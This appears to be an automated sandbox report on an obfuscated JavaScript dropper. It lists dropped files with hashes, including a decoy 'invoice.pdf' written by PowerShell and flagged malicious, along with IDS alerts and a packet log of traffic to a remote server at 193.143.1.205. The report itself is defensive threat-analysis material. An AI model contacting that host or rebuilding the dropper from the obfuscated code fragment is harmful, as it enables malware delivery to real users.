Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\73a5dc0a-fdc2-45f6-88fe-d8e25f2d21e0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/pwYIGNPQ9WL07oXGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:xwZG29WLxXGZn3mlind9i4ufFXpAXkru
MD5:	17A4D09E4373155D739D65D37FDD108E
SHA1:	88ABEDA0447CCB031DD1D459657336A3FC50E486
SHA-256:	36FC00DA4B14D66BF783B992AC62C7590237C315B55D28A07A1B2E8678F918E3
SHA-512:	B95D3AB00F85EE3C41F813755485CF6B5C7A57F3DE9ACEF2DD2B0BDB3644580D36B43E5F44F5D9120FAD2AE128E7D69EFF2A9C58690B7162C20C497A24C88498
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7e6ee466-7509-4068-b456-523684e69f06.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/njZwYIGNPldpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oYGZd:7ZwZGP3mlind9i4ufFXpAXkrfUs0CWLH
MD5:	A9B20ED1CDEA322C761A005E942495CA
SHA1:	D24657F01F92EE75903018C5427960D68FF724C3
SHA-256:	D8668704308CF2AF7391C239B6796B0463F46A8146D12C5B63F879A45A3E0774
SHA-512:	36CB4B02D5AD21806E94D1B2E417D98B5C71CEF75691C2C2916BEDA6DC0B3CB3942F68AF12EC52117F66FE5C093919B3666455285A7AB7C35A58AB9504464369
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17749), with CRLF line terminators
Entropy (8bit):	4.890856373954836
TrID:
File name:	9751253252198928098.js
File size:	21'081 bytes
MD5:	7e0dd409a3eaceb5c1aad5c2eb0e38ce
SHA1:	c9a0a53e8bd0b0fedb3c37cbf1bcd103150302bf
SHA256:	32bf967275e89ceaafa69156658a350719496f538a82e40d614d7a94a9deca82
SHA512:	58fa6b1ecfb6fd38219a09b909de180025590b6026c99e943bfa795555d7aa9bce07770c196df1c7539c52818b1e81a3befbc5be9b0054c8b231a06a0287da92
SSDEEP:	192:7/hKPGTn7X7Q0guwIR6q0ULTauVFj/x0Hs1jSBfvNmZFn1hZA:P/X7QlQ6qjvB0Hs1jSq2
TLSH:	999242DC9245C9E1CBD8A67030FB15F24354468D08A582C69D83F0D13AFEF586BE97BA
File Content Preview:	function mnpty(){vmdateanc=[1031,3079,5127,4103,2055,3072];var kdoioi=this[hpxin+kvgdwsgg+qafvorxk+saizj+eekblxxg+auyovph+tgynlij+inzgk](this[krjtg+wczjzwo+ttauvi+qafvorxk+ibqinn+hpxin+inzgk][pugxpbq+qafvorxk+eekblxxg+kvgdwsgg+inzgk+eekblxxg+ivvksg+arugro

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:54:21.699553+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.12	49711	193.143.1.205	80	TCP
2025-01-10T17:54:24.499102+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.12	49712	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:54:20.861860991 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:20.866729975 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:20.867100000 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:20.869647026 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:20.874489069 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.699455976 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.699482918 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.699496031 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.699501991 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.699518919 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.699531078 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.699548006 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.699553013 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.699565887 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.699579000 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.699620962 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.699629068 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.699636936 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.699702024 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.704461098 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.704478025 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.704520941 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.745524883 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.745547056 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.745655060 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.828080893 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.828099966 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.828110933 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.828172922 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.828211069 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.828233957 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.828247070 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.828254938 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.828280926 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.828692913 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.828712940 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.828725100 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.828736067 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.828747034 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.828749895 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.828771114 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.829401016 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.829447985 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.829452991 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.829466105 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.829497099 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.829504013 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.829509974 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.829543114 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.830344915 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.830363989 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.830378056 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.830389023 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.830403090 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.830406904 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.830444098 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.831171036 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.831212044 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.831213951 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.874126911 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:21.878483057 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:21.921010971 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.060457945 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060472965 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060484886 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060506105 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060528994 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060545921 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.060553074 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060563087 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060578108 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060580969 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.060590982 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060605049 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.060609102 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060616016 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060622931 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060641050 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.060652971 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.060672998 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.060718060 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060734987 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060746908 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060758114 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060762882 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.060770988 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060785055 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060791969 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.060797930 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060810089 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060812950 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.060822964 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060833931 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060847044 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060847998 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.060857058 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060868979 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.060877085 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060890913 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060892105 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.060903072 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060914040 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060923100 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.060925961 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060939074 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060950041 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060952902 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.060971975 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.060977936 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.060996056 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.061008930 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.061012983 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.061019897 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.061031103 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.061043024 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.061043978 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.061054945 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.061068058 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.061072111 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.061079979 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.061090946 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.061094999 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.061104059 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.061115980 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.061117887 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.061127901 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.061136007 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.061141014 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.061151981 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.061163902 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.061188936 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.061194897 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.061233997 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.061265945 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.065455914 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.065486908 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.065560102 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.084562063 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.084578037 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.084589958 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.084673882 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.090624094 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.090651989 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.090662956 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.090673923 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.090684891 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.090697050 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.090711117 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.090739965 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.090985060 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.090995073 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.091022968 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.122468948 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.122498989 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.122512102 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.122525930 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.122539043 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.122551918 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.122564077 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.122567892 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.122602940 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.122836113 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.122867107 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.122869015 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.122879028 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.122908115 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.123178005 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.123207092 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.123218060 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.123254061 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.123532057 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.123543978 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.123555899 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.123569012 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.123578072 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.123580933 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.123594046 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.123606920 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.123610973 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.123610973 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.123639107 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.124474049 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.124485970 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.124497890 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.124511003 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.124521971 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.124526978 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.124541998 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.124550104 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.124557018 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.124578953 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.125334978 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.125346899 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.125359058 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.125371933 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.125380039 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.125386000 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.125399113 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.125401974 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.125411987 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.125432014 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.125456095 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.126204014 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.126215935 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.126228094 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.126240015 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.126251936 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.126262903 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.126276016 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.126281023 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.126302958 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.143428087 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.143441916 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.143460989 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.143471956 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.143521070 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.143554926 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.175154924 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.175170898 CET	80	49711	193.143.1.205	192.168.2.12
